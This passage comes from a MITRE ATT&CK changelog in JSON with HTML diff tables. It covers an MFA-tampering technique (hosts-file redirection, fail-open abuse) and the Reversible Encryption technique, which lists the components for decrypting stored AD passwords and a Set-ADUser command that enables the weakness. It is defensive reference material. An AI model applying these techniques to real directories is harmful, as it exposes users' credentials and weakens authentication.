nowrap=\"nowrap\">using&nbsp;legitimate&nbsp;features,&nbsp;such&nbsp;as&nbsp;excluding&nbsp;users&nbsp;from&nbsp;Azur</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;AD&nbsp;Conditional&nbsp;Access&nbsp;Policies,&nbsp;registering&nbsp;a&nbsp;new&nbsp;yet&nbsp;vuln</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;AD&nbsp;Conditional&nbsp;Access&nbsp;Policies,&nbsp;registering&nbsp;a&nbsp;new&nbsp;yet&nbsp;vuln</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erable/adversary-controlled&nbsp;MFA&nbsp;method,&nbsp;or&nbsp;by&nbsp;manually&nbsp;patch</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erable/adversary-controlled&nbsp;MFA&nbsp;method,&nbsp;or&nbsp;by&nbsp;manually&nbsp;patch</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;MFA&nbsp;programs&nbsp;and&nbsp;configuration&nbsp;files&nbsp;to&nbsp;bypass&nbsp;expected&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;MFA&nbsp;programs&nbsp;and&nbsp;configuration&nbsp;files&nbsp;to&nbsp;bypass&nbsp;expected&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">functionality.(Citation:&nbsp;Mandiant&nbsp;APT42)(Citation:&nbsp;Azure&nbsp;AD&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">functionality.(Citation:&nbsp;Mandiant&nbsp;APT42)(Citation:&nbsp;Azure&nbsp;AD&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Conditional&nbsp;Access&nbsp;Exclusions)&nbsp;&nbsp;For&nbsp;example,&nbsp;modifying&nbsp;the&nbsp;W</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Conditional&nbsp;Access&nbsp;Exclusions)&nbsp;&nbsp;For&nbsp;example,&nbsp;modifying&nbsp;the&nbsp;W</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">indows&nbsp;hosts&nbsp;file&nbsp;(`C:\\windows\\system32\\drivers\\etc\\hosts`)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">indows&nbsp;hosts&nbsp;file&nbsp;(`C:\\windows\\system32\\drivers\\etc\\hosts`)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;redirect&nbsp;MFA&nbsp;calls&nbsp;to&nbsp;localhost&nbsp;instead&nbsp;of&nbsp;an&nbsp;MFA&nbsp;server&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;redirect&nbsp;MFA&nbsp;calls&nbsp;to&nbsp;localhost&nbsp;instead&nbsp;of&nbsp;an&nbsp;MFA&nbsp;server&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;cause&nbsp;the&nbsp;MFA&nbsp;process&nbsp;to&nbsp;fail.&nbsp;If&nbsp;a&nbsp;\"fail&nbsp;open\"&nbsp;policy&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;cause&nbsp;the&nbsp;MFA&nbsp;process&nbsp;to&nbsp;fail.&nbsp;If&nbsp;a&nbsp;\"fail&nbsp;open\"&nbsp;policy&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;in&nbsp;place,&nbsp;any&nbsp;otherwise&nbsp;successful&nbsp;authentication&nbsp;attempt&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;in&nbsp;place,&nbsp;any&nbsp;otherwise&nbsp;successful&nbsp;authentication&nbsp;attempt&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;be&nbsp;granted&nbsp;access&nbsp;without&nbsp;enforcing&nbsp;MFA.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Russ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;be&nbsp;granted&nbsp;access&nbsp;without&nbsp;enforcing&nbsp;MFA.(Citation:&nbsp;Russi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ians&nbsp;Exploit&nbsp;Default&nbsp;MFA&nbsp;Protocol&nbsp;-&nbsp;CISA&nbsp;March&nbsp;2022)&nbsp;&nbsp;&nbsp;Depen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ans&nbsp;Exploit&nbsp;Default&nbsp;MFA&nbsp;Protocol&nbsp;-&nbsp;CISA&nbsp;March&nbsp;2022)&nbsp;&nbsp;&nbsp;Depend</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ding&nbsp;on&nbsp;the&nbsp;scope,&nbsp;goals,&nbsp;and&nbsp;privileges&nbsp;of&nbsp;the&nbsp;adversary,&nbsp;M</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;on&nbsp;the&nbsp;scope,&nbsp;goals,&nbsp;and&nbsp;privileges&nbsp;of&nbsp;the&nbsp;adversary,&nbsp;MF</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">FA&nbsp;defenses&nbsp;may&nbsp;be&nbsp;disabled&nbsp;for&nbsp;individual&nbsp;accounts&nbsp;or&nbsp;for&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">A&nbsp;defenses&nbsp;may&nbsp;be&nbsp;disabled&nbsp;for&nbsp;individual&nbsp;accounts&nbsp;or&nbsp;for&nbsp;al</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ll&nbsp;accounts&nbsp;tied&nbsp;to&nbsp;a&nbsp;larger&nbsp;group,&nbsp;such&nbsp;as&nbsp;all&nbsp;domain&nbsp;accou</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;accounts&nbsp;tied&nbsp;to&nbsp;a&nbsp;larger&nbsp;group,&nbsp;such&nbsp;as&nbsp;all&nbsp;domain&nbsp;accoun</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nts&nbsp;in&nbsp;a&nbsp;victim's&nbsp;network&nbsp;environment.(Citation:&nbsp;Russians&nbsp;Ex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ts&nbsp;in&nbsp;a&nbsp;victim's&nbsp;network&nbsp;environment.(Citation:&nbsp;Russians&nbsp;Exp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ploit&nbsp;Default&nbsp;MFA&nbsp;Protocol&nbsp;-&nbsp;CISA&nbsp;March&nbsp;2022)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">loit&nbsp;Default&nbsp;MFA&nbsp;Protocol&nbsp;-&nbsp;CISA&nbsp;March&nbsp;2022)&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1032: Multi-factor Authentication",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0190: Detect MFA Modification or Disabling Across Platforms"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2022-01-13 20:02:28.349000+00:00",
                    "modified": "2026-11-03 23:24:32.949000+00:00",
                    "name": "Reversible Encryption",
                    "description": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>\n2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>\n3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply an FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "defense-impairment"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1556/005",
                            "external_id": "T1556.005"
                        },
                        {
                            "source_name": "dump_pwd_dcsync",
                            "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.",
                            "url": "https://adsecurity.org/?p=2053"
                        },
                        {
                            "source_name": "store_pwd_rev_enc",
                            "description": "Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022.",
                            "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption"
                        },
                        {
                            "source_name": "how_pwd_rev_enc_1",
                            "description": "Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021.",
                            "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html"
                        },
                        {
                            "source_name": "how_pwd_rev_enc_2",
                            "description": "Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021.",
                            "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:24:32.949000+00:00\", \"old_value\": \"2026-05-12 15:12:00.718000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\\n\\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\\n\\n1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>\\n2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>\\n3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)\\n4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)\\n\\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\\n\\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply an FGPP to users or groups if the Domain Functional Level is set to \\\"Windows Server 2008\\\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.\", \"old_value\": \"An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\\n\\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\\n\\n1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>\\n2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>\\n3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)\\n4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)\\n\\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\\n\\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \\\"Windows Server 2008\\\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.\", \"diff\": \"--- \\n+++ \\n@@ -9,4 +9,4 @@\\n \\n With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\\n \\n-An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \\\"Windows Server 2008\\\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.\\n+An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply an FGPP to users or groups if the Domain Functional Level is set to \\\"Windows Server 2008\\\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to145__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to145__0\"><a href=\"#difflib_chg_to145__top\">t</a></td><td class=\"diff_header\" id=\"from145_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;abuse&nbsp;Active&nbsp;Directory&nbsp;authentication&nbsp;encry</td><td class=\"diff_next\"><a href=\"#difflib_chg_to145__top\">t</a></td><td class=\"diff_header\" id=\"to145_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;abuse&nbsp;Active&nbsp;Directory&nbsp;authentication&nbsp;encry</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ption&nbsp;properties&nbsp;to&nbsp;gain&nbsp;access&nbsp;to&nbsp;credentials&nbsp;on&nbsp;Windows&nbsp;sy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ption&nbsp;properties&nbsp;to&nbsp;gain&nbsp;access&nbsp;to&nbsp;credentials&nbsp;on&nbsp;Windows&nbsp;sy</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stems.&nbsp;The&nbsp;&lt;code&gt;AllowReversiblePasswordEncryption&lt;/code&gt;&nbsp;pr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stems.&nbsp;The&nbsp;&lt;code&gt;AllowReversiblePasswordEncryption&lt;/code&gt;&nbsp;pr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">operty&nbsp;specifies&nbsp;whether&nbsp;reversible&nbsp;password&nbsp;encryption&nbsp;for&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">operty&nbsp;specifies&nbsp;whether&nbsp;reversible&nbsp;password&nbsp;encryption&nbsp;for&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;account&nbsp;is&nbsp;enabled&nbsp;or&nbsp;disabled.&nbsp;By&nbsp;default&nbsp;this&nbsp;property&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;account&nbsp;is&nbsp;enabled&nbsp;or&nbsp;disabled.&nbsp;By&nbsp;default&nbsp;this&nbsp;property&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">is&nbsp;disabled&nbsp;(instead&nbsp;storing&nbsp;user&nbsp;credentials&nbsp;as&nbsp;the&nbsp;output&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">is&nbsp;disabled&nbsp;(instead&nbsp;storing&nbsp;user&nbsp;credentials&nbsp;as&nbsp;the&nbsp;output&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;one-way&nbsp;hashing&nbsp;functions)&nbsp;and&nbsp;should&nbsp;not&nbsp;be&nbsp;enabled&nbsp;unle</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;one-way&nbsp;hashing&nbsp;functions)&nbsp;and&nbsp;should&nbsp;not&nbsp;be&nbsp;enabled&nbsp;unle</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;legacy&nbsp;or&nbsp;other&nbsp;software&nbsp;require&nbsp;it.(Citation:&nbsp;store_pwd_</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;legacy&nbsp;or&nbsp;other&nbsp;software&nbsp;require&nbsp;it.(Citation:&nbsp;store_pwd_</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rev_enc)&nbsp;&nbsp;If&nbsp;the&nbsp;property&nbsp;is&nbsp;enabled&nbsp;and/or&nbsp;a&nbsp;user&nbsp;changes&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rev_enc)&nbsp;&nbsp;If&nbsp;the&nbsp;property&nbsp;is&nbsp;enabled&nbsp;and/or&nbsp;a&nbsp;user&nbsp;changes&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">heir&nbsp;password&nbsp;after&nbsp;it&nbsp;is&nbsp;enabled,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;be&nbsp;able&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">heir&nbsp;password&nbsp;after&nbsp;it&nbsp;is&nbsp;enabled,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;be&nbsp;able&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;obtain&nbsp;the&nbsp;plaintext&nbsp;of&nbsp;passwords&nbsp;created/changed&nbsp;after&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;obtain&nbsp;the&nbsp;plaintext&nbsp;of&nbsp;passwords&nbsp;created/changed&nbsp;after&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;property&nbsp;was&nbsp;enabled.&nbsp;To&nbsp;decrypt&nbsp;the&nbsp;passwords,&nbsp;an&nbsp;advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;property&nbsp;was&nbsp;enabled.&nbsp;To&nbsp;decrypt&nbsp;the&nbsp;passwords,&nbsp;an&nbsp;advers</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ary&nbsp;needs&nbsp;four&nbsp;components:&nbsp;&nbsp;1.&nbsp;Encrypted&nbsp;password&nbsp;(&lt;code&gt;G$R</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ary&nbsp;needs&nbsp;four&nbsp;components:&nbsp;&nbsp;1.&nbsp;Encrypted&nbsp;password&nbsp;(&lt;code&gt;G$R</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ADIUSCHAP&lt;/code&gt;)&nbsp;from&nbsp;the&nbsp;Active&nbsp;Directory&nbsp;user-structure&nbsp;&lt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ADIUSCHAP&lt;/code&gt;)&nbsp;from&nbsp;the&nbsp;Active&nbsp;Directory&nbsp;user-structure&nbsp;&lt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;userParameters&lt;/code&gt;&nbsp;2.&nbsp;16&nbsp;byte&nbsp;randomly-generated&nbsp;val</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;userParameters&lt;/code&gt;&nbsp;2.&nbsp;16&nbsp;byte&nbsp;randomly-generated&nbsp;val</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ue&nbsp;(&lt;code&gt;G$RADIUSCHAPKEY&lt;/code&gt;)&nbsp;also&nbsp;from&nbsp;&lt;code&gt;userParame</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ue&nbsp;(&lt;code&gt;G$RADIUSCHAPKEY&lt;/code&gt;)&nbsp;also&nbsp;from&nbsp;&lt;code&gt;userParame</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ters&lt;/code&gt;&nbsp;3.&nbsp;Global&nbsp;LSA&nbsp;secret&nbsp;(&lt;code&gt;G$MSRADIUSCHAPKEY&lt;/c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ters&lt;/code&gt;&nbsp;3.&nbsp;Global&nbsp;LSA&nbsp;secret&nbsp;(&lt;code&gt;G$MSRADIUSCHAPKEY&lt;/c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;)&nbsp;4.&nbsp;Static&nbsp;key&nbsp;hardcoded&nbsp;in&nbsp;the&nbsp;Remote&nbsp;Access&nbsp;Subauthen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;)&nbsp;4.&nbsp;Static&nbsp;key&nbsp;hardcoded&nbsp;in&nbsp;the&nbsp;Remote&nbsp;Access&nbsp;Subauthen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tication&nbsp;DLL&nbsp;(&lt;code&gt;RASSFM.DLL&lt;/code&gt;)&nbsp;&nbsp;With&nbsp;this&nbsp;informatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tication&nbsp;DLL&nbsp;(&lt;code&gt;RASSFM.DLL&lt;/code&gt;)&nbsp;&nbsp;With&nbsp;this&nbsp;informatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;reproduce&nbsp;the&nbsp;encryption&nbsp;key&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;reproduce&nbsp;the&nbsp;encryption&nbsp;key&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;subsequently&nbsp;decrypt&nbsp;the&nbsp;encrypted&nbsp;password&nbsp;value.(Citat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;subsequently&nbsp;decrypt&nbsp;the&nbsp;encrypted&nbsp;password&nbsp;value.(Citat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;how_pwd_rev_enc_1)(Citation:&nbsp;how_pwd_rev_enc_2)&nbsp;&nbsp;An&nbsp;adv</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;how_pwd_rev_enc_1)(Citation:&nbsp;how_pwd_rev_enc_2)&nbsp;&nbsp;An&nbsp;adv</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersary&nbsp;may&nbsp;set&nbsp;this&nbsp;property&nbsp;at&nbsp;various&nbsp;scopes&nbsp;through&nbsp;Local</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersary&nbsp;may&nbsp;set&nbsp;this&nbsp;property&nbsp;at&nbsp;various&nbsp;scopes&nbsp;through&nbsp;Local</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Group&nbsp;Policy&nbsp;Editor,&nbsp;user&nbsp;properties,&nbsp;Fine-Grained&nbsp;Password</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Group&nbsp;Policy&nbsp;Editor,&nbsp;user&nbsp;properties,&nbsp;Fine-Grained&nbsp;Password</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Policy&nbsp;(FGPP),&nbsp;or&nbsp;via&nbsp;the&nbsp;ActiveDirectory&nbsp;[PowerShell](http</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Policy&nbsp;(FGPP),&nbsp;or&nbsp;via&nbsp;the&nbsp;ActiveDirectory&nbsp;[PowerShell](http</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s://attack.mitre.org/techniques/T1059/001)&nbsp;module.&nbsp;For&nbsp;examp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s://attack.mitre.org/techniques/T1059/001)&nbsp;module.&nbsp;For&nbsp;examp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 